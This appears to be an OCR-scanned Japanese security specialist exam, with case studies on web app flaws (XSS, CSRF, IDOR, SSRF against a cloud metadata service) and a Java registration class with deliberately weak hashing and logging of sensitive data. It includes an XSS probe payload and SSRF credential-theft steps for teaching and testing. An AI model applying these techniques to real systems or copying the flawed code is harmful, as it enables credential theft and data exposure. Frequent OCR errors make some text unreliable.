設問4 〔卯oS攻華に対する具体的対策の検討〕について答えよ。

(1) 本文中の下線⑤について，利用する外部のサービスを， 20字以内で具体的

に答えよ。

(2) 本文中の下線⑥について，軽減できる理由を， 40字以内で答えよ。
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問3 Webセキュリティに関する次の記述を読んで，設問に答えよ。

D社は，従業員 1,000名の小売業である。自社のホームページや ECサイトなどの

Webサイトについては， Webアプリケーションプログラム（以下， Webアプリという）

に対する診断（以下， IVebアプリ診断という）を専門会社の Z社に委託して実施して

いる。Webアプリ 診断は，Webサイトのリリ ース前だけではなく， リリース後も定期
せい

的に実施している。z社の Webアプリ診断は，脆弱性診断ツールによるスキャンだけ

ではなく，手動による高度な分析も行う。

〔新たな Webサイトの構築〕

D社では，新たに ECサイト X（以下，サイト Xという）と商品企画サイト Y（以下，

サイ トYという）を W社が提供するクラウドサーピス（以下，クラウドりという）上

に構築することになった。

サイト Xでは， D社が取り扱う商品をインターネットを介して会員に販売する予定

である。取引は毎月 10,000件ほどを見込んでいる。サイト Yでは，サイト Xで販売

する新商品の企画・開発を顧客参加型で行う。サイト Xとサイト Yは，いずれも 1りeb

サーバとデータベースサーバ（以下， DBサーバという）で構成する。Webサーバにつ

いてはクラウド Wの仮想Webサーバサービスを利用し， DBサーバについてはクラウド

Wのリレーショナルデータベースサーピスを利用する。サイト Xとサイト Yはいずれ

も，コンテンツマネジメントシステム（以下， CMSという）を使って構築される。サ

イト Xとサイト Yにはいずれも， Webアプリ， HTMLによる静的コンテンツ， DBサーバ

に格納したデータを使った動的コンテンツなどを用意する。

D社は， V大学と新商品開発の共同研究を行っている。新商品開発の共同研究では，

V大学が運用する情報交換サイト（以下，サイト Pという）を利用している。サイト

Yは，サイト Pで取り扱っている情報などを表示する。

D社は， Webサイト構築に関連するデータやドキュメントの保存場所として，クラ

ウド Wのストレージサービス（以下，ストレージ Wという）を利用する。

D社は，サイト X及びサイト Yの設計密を作成した。設計書のうち，サイト X,サ

イト Y及びサイト Pのネットワーク構成を図 1に，サーバやサービスの説明を図 2に

示す。
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クラウドW r-------------、
日D社管理者PC|| 
I I 

：＿良部主` 旦ービニ？＿：

サイトP

サイトY
I 

学内ネットワーク ：・-----------
FW：ファイアウォール IG :インターネットゲートウェイ

IMDS :インスタンスメタデ＿タサーピス VG : VPNゲートウェイ VPC :仮想プライベートクラウド

注 I) VPCとインターネットとの間の通信を可能にする。

注 2> VPCとD社の内部ネットワークとの間の VPN通信を可能にする。

図 1 サイト X, サイト Y及びサイト Pのネットワーク構成

［クラウド Wにあるサーバ及びストレージ 11について］

クラウド W上のサーピスの管理のためのアクセスの際は，クラウドり用の利用者 ID, アクセスキ

ーなどのクレデンシャル情報をリクエストに含める必要がある。D社が利用するクラウド W上のサ

ービスには， D社用に発行されたクレデンシャル悟報でアクセスでき，全ての操作ができる。

[IMDSについて］

IMDSは， VPCの各サーバから特定の URLにアクセスされると特定の情報を返す。例えば， https:/

/000. 000. 000. 000/meta-data/credent ialにGETメソッドでアクセスされると，クラ

ウド VI上のサーピスのクレデンシャル情報を返す。 IMDSには，インターネットから直接アクセス

できないプライベー トIPアドレス (000.000. 000. 000)が設定されている。

IMDSにアクセスする方式は，次のいずれかを採用する必要がある。D社では，方式 1を採用する。

方式 1:特定の URLにアクセスするだけで惰毅を取得できる。

方式 2:トークンを発行する URLにPUTメソッドでアクセスし， レスポンスボディに含まれるトー

クンを入手してから，そのトークンをリクエストヘッダに含めて特定の URLにアクセスす

ると情報を取得できる。

[CMSについて］

Webサーバ Xのhttps://ロロロ．jp/admin又は WebサーバYのhttps://■■■.jp/adminにアクセ

スすると，それぞれのサーバの CMSの管理ログイン画面にアクセスできる。ログインは， POSTメ

ソッドでは許可されるが．GETメソッドでは許可されない。各 CMSの管理ログイン画面へのアクセ

スは． VPN接続された D社管理者 PC, 又は VPC内からのアクセスだけに制限される。D社では，各

CMSの管理者アカウントは初期パスワードのまま運用する。

図 2 サーバやサービスの説明
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〔サイト X〕

サイト Xには，会員用の利用者アカウントと D社管理者用の利用者アカウントがあ

る。サイト Xのログインセッション管理は， cookieパラメータの SESSIONIDで行う。

SESSION IDには，値と Secure属性だけがセットされる。なお，サーバ側のセッショ

ンの有効期間は 24時間である。設計書のうち，サイト Xの機能一覧を表 1に示す。

表 1 サイト Xの機能一覧（抜粋）

項番 機能 詳細機能 機能概要

1 

2 

3 

4 

5 

6 

7 

8 

， 

ログイン機能 ログイン機能 利用者 IDとパスワードを入力し，ログインに

成功すると利用できる機能が表示されるページ

に遷移する。

利用者機能 会員機能（登録） 登録画面では叢初にメールアドレスを入力す

（ログイン前） る。そのメールアドレス宛てに送られた電子メ

ールに記載された URLにアクセスして利用者情

報を入力し，登録する。

利用者機能 注文機能（商品検 商品には商品コードが付与されており，商品検

（ログイン後） 索，注文，注文履歴 索画面で検索できる。注文履歴は，注文年月で

閲跨） ある数字 6桁とランダムな英大文字 6桁の値を

ハイフンでつないだ注文管理番号で管理され

る。注文履歴を閲廃する際は，注文管理番号を

基に検索する。

会員機能（編集） 登録した利用者情報を編集できる。

問合せ機能 問合せ情報を入力できる。入力した問合せ情毅

は，数字 10桁の管理番号が発番され，管理さ

れる。

サイト管理機能 商品管理機能（登 商品情報を登録，編集，削除できる。商品情報

（ログイン後） 録，編集，削除） が登録されると，数字 10桁の商品コー ドが割

り当て られ，その商品を会員が注文できるよう

になる。

売上管理機能（売上 商品の売上情報を閲魏できる。また，条件を指

情報閲黄，検索） 定して検索することができる。

会員管理機能（閲 登録された会員の利用者情報を閲魏，変更，削

覧，変更，削除） 除できる。

問合せ管理機能 問合せ機能で入力された問合せ情報が閲覧でき

る。

サイト管理機能は， D社の内部ネットワ ーク以外からも利用する可能性があり，サ

イト Xでは，接続元の制限は行わない。
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サイ トXとサイト Yの構築は順調に進み， D社はリリース前の Webアプリ診断を Z

社に委託した。 z社は，サイト Xとサイト Yそれぞれに対して Webアプリ診断を実施

した。

〔サイト Xに対する Webアプリ診断〕

サイト Xに対する Webアプリ診断では，次の三つの脆弱性が検出された。

・クロスサイトスクリプティング（以下， XSSという）

・クロスサイトリクエストフォージェリ（以下， CSRFという）

・認可制御の不備

〔xssについて〕

Z社がxssを検出した経緯は，次のとおりであった。

(1) 問合せ機能で，脆弱性診断ツールによるリクエストとレスポンスを確認した。

このときのリクエストとレスポンスは，図 3のとおりであった。

［リクエスト］

POST /shop/contact HTTP/1. 1 

Host: （省略）

（省略）

Content-Type: application/x-www-form-urlencoded 

Content-Length: （省略）

Cookie: SESSIONID=nt 1 t3dmxm lmwu icy i 23h4nql 

sub」ect_id=004&name=%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e%3c%22&tel=（省略） ＆ 

mail=（省略） ＆ma i L2=（省略） ＆comment=（省略）

［レスポンス］

（省略）

<hl>問合せを受け付けま した。 </h1>

（省略）

注記 パラメ ータnameの値は '’><SCr i pt〉alert(1)</script><"を URLエンコードした値である。

図 3 問合せ機能のリクエス トとレスポンス
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(2) 図 3中のレスポンスボディには，問合せ機能で入力した値は出力されていない。

しかし， z社は，①設計書を調査した上で手動による分析を行い，図 3中のリク

エスト内のスクリプトが別の機能の画面に出力されることを確認した。

Z社は，②攻撃者がこの XSSを悪用してサイト X内の全会員の利用者情報を取得す

ゑ可能性があると説明した。

〔CSRFについて〕

Z社が CSRFを検出した経緯は，次のとおりであった。

(1) 会員機能（編集）において，函 4 に示すリクエストを送ってその応答を確認し

た。 リクエストは正常に処理された。

POST /shop/edi tmember HTTP/1. 1 

Host: （省略）

（省略）

Content-Type: app l i cation/ x-www-f o rm-u r l encoded 

Content-Length: （省略）

Cookie: SESSIONID=b9y33f89um t6uua 1 pe4j4 j n7 

se1=sato&mei=taro&mai l=aaa%40example. jp&csrf_token=KCRQ88ERH2G8MGT319E50SMOAJFDIVEM 

図 4 会員機能（編集）のリクエスト

(2) リク エスト内のメッセージボディの一部を変更して送り ，その応答を確認した。

リクエスト内のメッセージボディと応答は表 2のとおりであった。

表 2 リクエスト内のメッセージボディと応答

手順 リクエスト内のメッセージボディ 応答
1 se 1 =sa to&me i =taro&ma i l=aaa%40examp le. j p&csrf _token= エラー
2 se1=sato&mei=taro&mai l=aaa%40example. jp エラー
3 sei=sato&me1=taro&mai l=aaa%40example. Jp&csrf_token=（異なる利用 正常に処理

者アカウントで取得した csrf _ tokenの値）
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(3) Z社は，手順 1, 2の応答が“エラー'’であることから一定の CSRF対策ができて

いるが，手順 3の応答が‘‘正常に処理’'であることから堡利用者に被害を与える

可能性があると判断した。

z社は，対策には二つの方法があることを説明した。

• csrf_tokenの処理の修正

• cookieへの Samesi te属性の追加

サイト Xの構成次第では， SameSite属性を cookieに付与することも有効な対策と

なり得る。Samesi te属性は， Strict, Lax, Noneの三つの値のうちのいずれかを取る。

サイト Xにログインした利用者の Webブラウザにおいて，サイト X内で遷移する場合

と外部Webサイトからサイト Xに遷移する場合では， Samesi te属性の値によってサイ

トXの cookie送信の有無が表 3のように異なる。

表 3 SarneSite属性の値の違いによる cookie送信の有無

SameSi te サイト X内で遷移 外部Webサイトからサイト Xに遷移

属性の値 GET POST GET POST 

Strict 

゜ ゜ I a I I b I 
Lax 

゜ ゜
| C | | d I 

None 

゜ ゜
（省略） （省略）

注記 ‘‘0"はcookieが送られることを示す。“X’'はcookieが送られないことを示す。

〔認可制御の不備について〕

Z社が認可制御の不備を検出した経緯は，次のとおりであった。

(1) Z社は，利用者a,利用者Bという二つの利用者アカウントを用いて，注文履

歴を閲跨した際のリクエストを確認した。注文履歴を閲黄した際のリク エストを

図 5及び図 6に示す。
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POST /shop/order-history HTTP/1. 1 -

Host: （省略）

（省略）

Content-Type: app l i cat i on/x-www-fo rm-u r [encoded 

Content-Length: （省略）

Cookie: SESSIONID=ac9t66bxlxmwui iki53h4nq3 

o rde r-code=202404-AHUJKI 1> 

注 1) 表 1の注文管理番号のことである。値から利用者を特定することができる。

図 5 利用者aで注文履歴を閲覧した際のリクエスト

POST /shop/order-history HTTP/1. 1 

Host: （省略）

（省略）

Content-Type: application/x-www-form-urlencoded 

Content-Length: （省略）

Cookie: SESSION ID=k 1 c tghbxbx5wu j 3k i 33h l nq5 

order-code=202404-BAKCXW 

図 6 利用者Bで注文履歴を閲覧した際のリクエスト

(2) 図 5のリクエストのパラメータ order-codeの値を図 6中の値に改変してリクエ

ストを送った。

(3) 利用者aが，本来は閲覧できないはずの利用者Bの注文履歴を閲覧できるとい

う攻撃が成功することを確認した。

(4) さらに，ある利用者がほかの利用者が注文した際の order-codeを知らなくても，

④ある攻撃手法を用いれば攻撃が成功することを確認した。

z社は，⑤サイト Xの Webアプリに追加すべき処理を説明した。

〔サイト Yに対する Webアプリ診断〕

サイト Yに対する Webアプリ診断では，次の脆弱性が検出された。

・サーバサイドリクエストフォージェリ（以下， SSRFという）
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〔SSRFについて〕

z社が SSRFを検出した経緯は，次のとおりであった。

(1) サイト Pの新若情報を取得する際に，利用者の Webプラウザが Webサーバ Yに

送るリクエストを確認したところ，図 7のとおりであった。

GET /top?page=https://△ △△.jp/topic/202404. html HTTP/1. 1 

Host: （省略）

（省略）

Cookie: SESSIONID=pq4ikd31op215jebter41sae 

注記 △△△．jpはサイト PのFODNである。

図 7 利用者の Webプラウザが Webサーバ Yに送るリクエスト

(2) ⑥図 7のリクエストのパラメータの値を Webサーバ Yの CMSの管理ログイン画

面の URLに変更することで，その画面にアクセスできるが，ログインはできない

ことを確認した。

(3) ⑦図 7のリクエストのパラメータの値を別の URLに変更するという方法（以下，

方法 Fという）で SSRFを悪用して，クレデンシャル情報を取得し，ストレージ W

から情報を盗み出すこ とができることを確認した。

(4) IMDSにアクセスする方式を方式 1から方式 2に変更すると，方法 Fではクレデ

ンシャル情報を取得できないので，ストレージ Wから情報を盗み出すことができ

ない。 しかし，図 7のリクエストのパラメータの値を変更することで， Webサー

バ Yから送られるリクエストに任意のメソッドの指定及び任意のヘッダの追加が

できる方法 （以下，方法 Gという）がある。方法 Gを用いれば，方式 2に変更し

ても，⑧クレデンシャル情報を取得し，ストレージ Iりから情報を盗み出すことが

できることを確認した。

z社は，ク ラウド W上のネットワークでのアクセス制御の設定，及び⑨サイト Yの

齢bアプリに追加すべき処理を提案した。

リリ ース前の脆弱性診断で検出された脆弱性の対策が全て完了し，サイト Xとサイ

トYは稼働を開始した。
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設問 1 (XSSについて〕について答えよ。

(1) 本文中の下線①について，図 3中のリクエスト内のスクリプトが出力され

るのはどの機能か。表 1の詳細機能に対する項番を選び答えよ。

(2) 本文中の下線②について，攻撃者はどのような手順で利用者情報を取得す

るか。具体的に答えよ。

設問 2 〔認RFについて〕について答えよ。

(1) 本文中の下線③について，被害を与える攻撃の手順を，具体的に答えよ。

(2) 表 3中の［二こコ ～亡ニコに入れる適切な内容を，‘‘〇’'又は “x"

から選び答えよ。

設問3 〔認可制御の不備について〕について答えよ。

(1) 本文中の下線④について，どのような攻撃手法を用いれば攻撃が成功する

か。30字以内で答えよ。

(2) 本文中の下線⑤について，サイト Xの Webアプリに追加すべき処理を，60

字以内で具体的に答えよ。

設問4 岱SRFについて〕について答えよ。

(1) 本文中の下線⑥について，ログインができないのはなぜか。SSRF攻撃の特

徴を基に， 35字以内で答えよ。

(2) 本文中の下線⑦について，クレデンシャル情報を取得する方法を，具体的

に答えよ。

(3) 本文中の下線⑧について，方法 Gを用いてクレデンシャル情報を取得する

方法を，具体的に答えよ。

(4) 本文中の下線⑨について，サイト Yの Webアプリに追加すべき処理を， 35

字以内で具体的に答えよ。
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問4 Webアプリケーションプログラムに関する次の記述を読んで，設問に答えよ。

No. 

1 

2 

3 

4 

5 

6 

7 

8 ， 

10 

11 

12 

A社は，加工食品の製造・販売を行う従業員 500名の会社である。問屋や直販店か

らの注文の受付に，商品の注文と在庫を管理するシステム（以下，業務システムと

いう）を利用している。業務システムは， A社内に設置したサーバ上に構築されている。

このたび，販売拡大を目指して，インタ ーネットを使ったギフト販売を行うこと

になり，個人顧客から注文を受けるための Webシステム（以下， Web受注システムと

いう）を構築することになった。

A社は ITベンダーの B社との間で開発の委託契約を締結し，両社は Web受注システ

ムの開発に着手した。

〔Web受注システムの要件〕

Web受注システムの要件を表 1に示す。

表 1 Web受注システムの要件

要件名 要件内容

機能 個人顧客が利用できる機能：商品検索，在庫照会，注文，決済，注文変

更注文キャンセル，注文照会，配送照会，ユーザー登録，ユーザー情

報変更，パスワー ド変更退会である。これら機能全てをアプリケーシ

ョン（以下，APという）サーバに実装する。

その他の機能： （省略）

アクセス方式 Webブラウザからインターネット経由でアクセスして利用する。

想定ユーザー 個人顧客

想定ユーザー数 登録ユーザーの数が 100,000までを想定

重要清報°に該当 氏名，住所，雷話番号，メールアドレス，パスワード，銀行口座情報，

するデータ項目 決済情報

商品数 1,000 

想定トランザク 注文： 1,000件／日

ション数 注文変更・注文キャンセル：各 30件／日

注文照会 ・配送照会：各 2,000件／日

稼働時間 24時間 365日。 ただし，メンテナンス時間は除く。

メンテナンス時
ぜい

毎週月曜日 0:00~5:00。ただし，緊急の脆弱性修正プログラム適用な
間 ど，他の日時に臨時でメンテナンスを実施する場合もある。

稼働率目標 99.9%。ただし，メンテナンス時間は除く。

開発体制 A社と B社が協働で開発する。

開発言語／DBMS Java/RDBMS 
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表 1 Web受注システムの要件（続き）

No. 要件名 要件内容

13 システム基盤 APサーバ，バッチサーバ，ログサーバは， IaaS上に構築する。 Web受注

システムのデータベース（以下，データベースを DBという）は，クラウ

ドサービスのマネージド DBを利用する。

本番環境は，本番 APサーバ，本番バッチサーバ，本番ログサーバ，本番

DBで構成する。

開発環境は，開発 APサーバ，開発バッチサーバ，開発ログサーバ，開発

DBで構成する。重要情報は保管されない。

14 サーバ OS APサーバ，バッチサーバ，ログサーバの OSはLinuxを使用する。

15 APログ 2) APサーバのプログラム及びバッチサーバのプログラムはAPログをログサ

ーバに転送し，ログサーバは APログをテキストファイル形式で保存す

る。

16 APサーバの標準 APサーバの標準出力と標準エフー出力は， リダイレクトして APサーバの

出力と標準エラ /var/log/server logディレクトリ配下のテキストファイルに出力する。

ー出力 なお，／var/log/serverlogディレクトリのオーナーは webappuserであ

り，パーミッションは7743)とする。その配下のテキストファ イルのオ＿

ナーは webappuserであり，パーミッションは 6643)とする。

17 システム運用 システム運用はB社に委託し，システム運用担当者はB社の要員とする。

重要情報の取扱いは重要情報取扱運用者だけとし，重要情報取扱運用者

はA社での役職が管理職以上の要員とする。

各サーバ及び各 DBの管理はシステム管理責任者が行い，システム管理貰

任者は A社の情報システム部の管理職とする。

18 システムのユー (1) 個人顧客

ザーと役割 Web受注システムの APサーバで注文，決済などを行う。

(2) システム運用担当者

本番 APサーバ及び本番バッチサーバの稼働を監視する。バッチ処理が

異常終了 したときは，手動で再実行する。これら以外のサーバについ

ては，統合監視システムの画面から死活監視だけを行う。重要情報に

アクセスしてはならない。

(3) 重要情報取扱運用者

本番環境に保管されている重要情報を参照し，個人顧客からの問合せ

に対応する。

(4) システム開発者

開発環境においてプログラムの開発 ・保守を行う。障害発生時は，本

番ログサーバにアクセスして障害原因を調査する。 重要情報にアクセ

スしてはならない。

(5) システム管理買任者

各サーバの OS, ミドルウェアの脆弱性修正プログラムの適用などのメ

ンテナンス作業を行う。各サーバの OSアカウントを管理する。各 DB

のアカウント管理を行う。

19 パスワードの保 パスワードは， CRYPTREC暗号リスト（令和 5年 3月30日版）の電子政府

存 推奨暗号リストに記載されているハッシュ関数でハッシュ化して DBに保

存する。

注 1) A社では，扱う情報を“重要清報＂と＂その他の 情報＂に分類している。

注 2) システム稼働時に出力され，システム障害の際に，システム開発者が障害原因調査のために

確認するファイルである。

注 3l chmodコマンドの絶対モー ドで Linuxのパーミッショ ンを設定する。
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〔Web受注システムの設計〕

No. 

1 

2 

3 

4 

5 

6 

A社と B社は Web受注システムを設計した。

Web受注システムのサーバで定義される OSアカウントの一覧を表 2に，所属グルー

プとその権限を表 3に示す。

表 2 OSアカウントの一覧

ユーザーID 所属グループ OSアカウントが定義 説明

されるサーバ

root root （省略） システム管理黄任者が利用する。

operator operation （省略） システム運用担当者が利用する。

personal personal （省略） 重要情報取扱運用者が利用する。

developer develop （省略） システム開発者が利用する。

batchappuser operation 本番バッチサーバ データ連携機能 1)の各プログラム

の実行に利用される。

webappuser personal 本番APサーバ APサーバのプログラムの実行に利

用される。

注記 root, operation, personal, developという所属グループは各サーバに定義されている。

注’) 業務システムと Web受注システムがデータ連携を行うための機能である。

表 3 所属グループとその権限

No. 所属グループ 権限

1 root 特権ユーザーである。全てのアクセス権がある。

2 operation 一般ユーザー権限である。本番 APサーバと本番バッチサーバヘのアクセ

ス権がある。

3 personal 一般ユーザー権限である。本番環境へのアクセス権がある。

4 develop 一般ユーザー権限である。開発環境と本番ログサーバヘのアクセス権があ

る。

注記 Web受注システムでは， OSアカウントの権限を所属グループ単位で管理する。

業務システムと Web受注システムは， csv形式のデータ連携用ファイル（以下， csv

ファイルという）でデータ連携を行う。1時間ごとに業務システムのバッチサーバと

Web受注システムのバッチサーバにおいて csvファイルを作成し， HTTPSで他方のバ

ッチサーバに送信し， 他方のバッチサーバでは受信した csvファイルを保存する。保

存した csvファイルを使用して Web受注システム又は業務システムの DBに対して更

新処理を実行する。更新処理後の csvファイルは，障害発生に備えて 1週間保存する。

データ連携機能のプログラム一覧を表 4に示す。
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表 4 データ連携機能のプログラム一覧

No. プログラム名 実行するサーバ 概要

1 バッチ処理管理 1 Web受注システム Web受注システムの各バッチ処理のプログラムの

のバッチサーバ 起動，監視などを行う。

2 バッチ処理管理 2 業務システムのバ 業務システムの各バッチ処理のプログラムの起

ッチサーバ 動，監視などを行う。

3 注文データ CSV出 Web受注システム Web受注システムの DB内の注文テーブルから注文

カバッチ処理 のバッチサーバ データを取得し， csvファイルに出力する。

4 注文データ csv取 業務システムのバ 保存された csvファイルを読み込んで，業務シス

込みバッチ処理 ッチサーバ テムの DBを更新する。

5 在庫データ csv出 業務システムのバ 業務システムの DB内の在庫テープルから在庫デー

カバッチ処理 ッチサーバ タを取得し， csvファイルに出力する。

6 在庫データ csv取 Web受注システム 保存された csvファイルを読み込んで， Web受注

込みバッチ処理 のバッチサーバ システムの DBを更新する。

7 データ送信 1バッ Web受注システム csvファイルを業務システムのバッチサーバに

チ処理 のバッチサーバ HTTPSで送信する。

8 データ送信 2バッ 業務システムのバ csvファイルを Web受注システムのバッチサーバ

チ処理 ッチサーバ にHTTPSで送信する。， データ受信 1バッ Web受注システム 受信した csvファイルを Web受注システムのバッ

チ処理 のバッチサーバ チサーバの指定されたディレク トリに保存する。

10 データ受信 2バッ 業務システムのバ 受信した csvファイルを業務システムのバッチサ

チ処理 ッチサーバ ーバの指定されたディレクトリに保存する。

表 4のうち， No.3の プログラムの内容を図 1に示す。

・注文テープルの連携済フラグ＂が 0である注文データを，csvファイルとして平文で／var/dataデ

ィレクトリに出力する。なお，／var/dataディレクトリのオーナーは batchappuserで，パーミッ

ションは 770”とする。csvファイルのオーナーは batchappuserで，パーミッションは 6602)と

する。

・注文テープルの内容は，次のとおりである。

注文 ID丸注文番号，注文ユーザーID,注文日時，決済金額，銀行コード，銀行支店コー ド，

預金種別，銀行口座番号，銀行口座氏名，注文ステータス，お届け先郵便番号，お届け先住所，

お届け先電話番号，お届け先氏名，送り主郵便番号，送り主住所，送り主電話番号，

送り主氏名，連携済フラグ

注')、‘0"はcsvファイル出力前であることを， “1’'はcsvファイル出力後であることを示す。

注 z) chmodコマンドの絶対モードで Linuxのパーミッションを設定する。

注 3) 主キーである。

図 1 No.3のプログラムの内容（抜粋）
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Web受注システムの開発が進み，結合テスト前に， A社は，設計書とソースコード

のセキュリティレビューを，セキュリティ専門会社の C社に委託した。 C社の情報処

理安全確保支援士（登録セキスペ）の E氏は，セキュリティレビューを実施した。

〔データ連携機能のセキュリティレビューJ

E氏は，表 2~4及び固 1の内容では表 1の要件を満たしておらず，［ここここ］が

csvファイルを閲覧できてしまうという問題を発見した。また， csvファイルには重

要情報が記録されるので，本番バッチサーバにアクセスできる者が不正に閲覧する

リスクを軽減するための保険的対策も併せて実施することを提案した。具体的には，

次のように提案した。

(1) 問題に対しては，表 2の batchappuserについて，所属グループを［こ三ここ］

に変更する。

(2) 保険的対策としては，表 4の No.3のプログラムに暗号化を行う処理を追加し，

表 4の No.Cここ」のプログラムに復号を行う処理を追加する。

A社は， E氏の提案どおり修正することにした。

〔ユーザー登録機能のセキュリティレビュー〕

ユーザー登録機能は， UserDataクラスによって実現している。 UserDataクラスの

プログラム仕様を図 2に， UserDataクラスのソースコー ドを図 3に示す。

• adduserメソッドは，データをユーザーマスターテ＿ブルに挿入する。

• 各インスタンス変数は，ユーザーマスタ＿テープルの各レコー ドに対応し，画面から入力され

た値を String型で保持する。

・ユーザーマスターテープルの列名は，次のとおりである。

ュ＿ザーOID1），ユーザーID,パスワ＿ド凡氏名，郵便番号，住所，電話番号，

メールアドレス，作成日時， 更新日時

注 1) 主キーである。オプジェクト IDであり，データを一意に識別する文字列が格納される。

注2) パスワー ドのハッシュ値が格納される。

図 2 UserDataクラスのプログラム仕様（抜粋）
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（省略） ／／package宣言import宣言など

1: public UserData(HttpServletRequest request) 

2: this.userid = request.getParameter("userid"); 

3: this.password= request.getParameter("password"); 

（省略） ／／入力値チェックなど

4: try { 

5: MessageDigest mdObj = MessageDigest.getinstance("SHA-1"); 

6: byte[] hashByte = mdObj.digest(this.password.getBytes()); 

7: this.password= String.format("%x", new Biginteger(l, hashByte)); 

8: } catch (NoSuchAlgorithmException e) { 

9: log.debug("error:" + e); 
10: } 

（省略）

11: } 

／／弓I数 connはDBコネクションオプジェク トを示す。

12: public void addUser(Connection conn) { 

13: PreparedStatement psObj; 

14: St r i ng sq l = "INSERT INTO USER_ MASTER" + 
15: "(USER_OID, USER_ID, PASSWORD, USER_NAME, ZIP CODE" + 

（省略）；

16: try { 

17: psObj = conn.prepareStatement(sql); 

18: psObj.setString(l, this.userOid), 

19: ps0bj.setString(2, this.userid); 

20: psObj. setStr ing(3, this. password); 

（省略）

／／次の 2行はデバッグログの出力

21: System. out. pr i ntln ("SOL:" + sq l); 

22: System. out. println("InsertData:" + this. toString()); 
／／次の 2行はログサーバヘの APログの出力

23: log.debug("SQL:" + sql); 
24: log.debug("InsertData:" + this.toString()); 

25: psObj. execute(); 

26: conn.commit(); 

27: } catch (SOLException e) 

（省略） ／／例外処理

28: } 

（省略）

29: } 

（省略）

注記 log. debug()は，引数の文字列をログサーバに送信するメソッドである。

図 3 UserDataクラスのソースコード（抜粋）
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E氏は，図 3のソースコードについて，次のように指摘した。

・パスワードからハッシュ値を得るためのハッシュ関数が，表 1の要件を満たしてい

ない。

・今後，メンテナンスなどで実行環境を変更した場合に，［ここここコ行目で

| e |が発生すると， 25,26行目では，パスワードが平文でユーザーマスタ

ーテーブルに保存されてしまう。

・①システム運用担当者とシステム開発者が，要件でアクセスが禁止されている情

報にアクセスできてしまう。

•利用する AP サーバの実装では，変数psObjの指すメモリ領域においてメモリリー

クが発生する可能性がある。

E氏の指摘を受け，システム開発者は， UserDataクラスのソースコー ドを修正した。

修正後の UserDataクラスのソースコードを図 4に示す。

（省略） ／／package宣言，import宣言など

1: public UserData(HttpServletRequest request) 

2: this. user Id = request. getParameter("userid"); 

3: this.password= request.getParameter("password"); 

（省略） ／／入力値チェックなど

4: try { 

5: MessageD i ges t mdObj = MessageD i ges t. get Instance(’'仁二二］”）; 

6: byte[] hashByte = mdObj.digest(this.password.getBytes()); 

7: this.password= String.format("%x", new Biginteger(l, hashByte)); 

8: } catch (NoSuchAlgorithmException e) 

9: log.debug("error:" + e); 
II回復不能な例外発生

10: L---g |; 
11: } 

（省略）

12: } 

／／引数 connはDBコネクションオブジェクトを示す。

13: public void addUser(Connection conn) { 

14: PreparedStatement psObj = null; 

15: String sql = "INSERT INTO USER_MASTER" + 
16: "(USER直ID,USER_ID, PASSWORD, USER_NAME, ZIP _CODE" + 

（省略）；

図 4 修正後の UserDataクラスのソースコード（抜粋）
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17: try { 

18: psObj = conn.prepareStatement(sql); 

19: psObj.setString(l, this.userOid); 

20: ps0bj.setString(2, this.userld); 

21: psObj. set String (3, this. password); 

（省略）

22: UserData userMaskDataObj = this.maskUserData(this); 

／／次の 2行はログサーバヘの APログの出力

23: log. debug ("SOL:" + sq l); 

24: log.debug("InsertData:" + userMaskDataObj,toString()); 
25: psObj.execute(); 

26: conn. commit(); 

27: ) catch (SQLException e) 

（省略） ／／例外処理

28:) ~ { 

29: if (psObj != null) { 

30: try ( 

31: psObj. close(); 

32: } catch (SQLException e) 

（省略） ／／例外処理

33: 

34: } 

35: } 

（省略）

36: l 
37: private UserData maskUserData(UserData inUserData) 

（省略） ／／UserData内の重要情報を含む変数の値を＊に腔換する。

38: return userMaskDataObj; 

39:) 

（省略）

図 4 修正後の UserDataクラスのソースコー ド（抜粋） （続き）

図 4のソースコ ー ドについて，E氏は，セキュリ テ ィレビューを再度実施した。

E氏は，図 4のソースコー ドでは， レインボーテーブル攻撃を受けたとき に攻撃が

成立してしまうので，図 2の仕様及び②図 4のソースコー ドの 6, 7行目を修正すべ

きであると指摘した。

A社は， E氏の指摘の対応を完了した。その後，テストを実施し， Web受注システ

ムをリリースした。
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不備により設問 2(3) 「システム運用担当者」の 「アクセスできてしまう情報J及び

「出力される場所」は成立しない。（令和 6年 7月 19日追記）

設問 1 〔データ連携機能のセキュリティレビュー〕 について答えよ。

(1) 本文中のIa Iに入れる適切な字句を，解答群の中から選び，記号

で答えよ。

解答群

ア システム運用担当者

イ システム運用担当者とシステム開発者

ウ システム開発者

ェ システム開発者と重要情報取扱運用者

オ 重要情報取扱運用者

(2) 本文中の|-E__ |に入れる適切な所属グループを，表3中から選び答え

よ。

(3) 本文中の|＿＿c |に入れる適切なプログラムを，表 4中から選び， No.

列の番号で答えよ。

設問2 〔ユーザー登録機能のセキュリティレビュー〕について答えよ。

(1) 本文中のId |に入れる適切な行番号を，図3中から選び，答えよ。

(2) 本文中のIe |に入れる適切な字句を答えよ。

(3) 本文中の下線①について，システム運用担当者とシステム開発者が，アク

セスが禁止されているのにアクセスできてしまう情報は何か。図 2中のユーザ

ーマスターテープルの列名で，それぞれ全て答えよ。また，その情報が出力

される場所を解答群の中から選び，それぞれ記号で答えよ。

解答群

ア 開発ログサーバの APログを保存したテキストファイル

イ 本番 APサーバの／sbinディレクトリ配下のバイナリファイル

ウ 本番 APサーバの／var/dataディレクトリ配下の csvファイル

工 本番 APサーバの／var/log/serverlogディ レクトリ配下のテキス トファ

イル

オ 本番ログサーバの APログを保存したテキストファイル

(4) 図4中のl___!__Jに入れる適切な字句を答えよ。

(5) 図4中の[ g__|に入れる適切な処理を，ソースコード又は具体的な処

理内容のいずれかで答えよ。
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(6) 図 4中の［ h |に入れる適切なソースコードを答えよ。

(7) 本文中の下線②について，図 4の 6, 7行目をどのように修正すればよいか。

修正後の適切なソースコードを解答群の中から選び，記号で答えよ。ここで，

変数 saしtには， addUserメソッドの呼出しごとに異なる 32バイトの固定長文

字列が入っているものとし，ユーザーマスターテープルの定義に変更はない

ものとする。

解答群

ア byte[] hashByte = mdObj.digest((salt + this.password).getBytes()); 

this.password= salt+ String. format("%x’'、newBiglnteger(l, hashByte)); 

イ byte[] hashByte = mdObj.d1gest((salt + this.password).getBytes()); 
this. password= String. format("%x", new Biglnteger(l, hashByte)); 

ウ byte[] hashByte = mdObj.digest(this.password.getBytes()); 

byte[] saltByte = mdObj.digest(salt.getBytes()); 

this. password= String. format("%x”、newBiglnteger(l, hashByte)) + Strin 

g. format("%x", new B19Integer(1, saltByte)); 

工 byte[] hashByte = mdObj.digest(this.password.getBytes()); 

this.password= salt+ String. format("%x", new Biglnteger(l, hashByte)); 

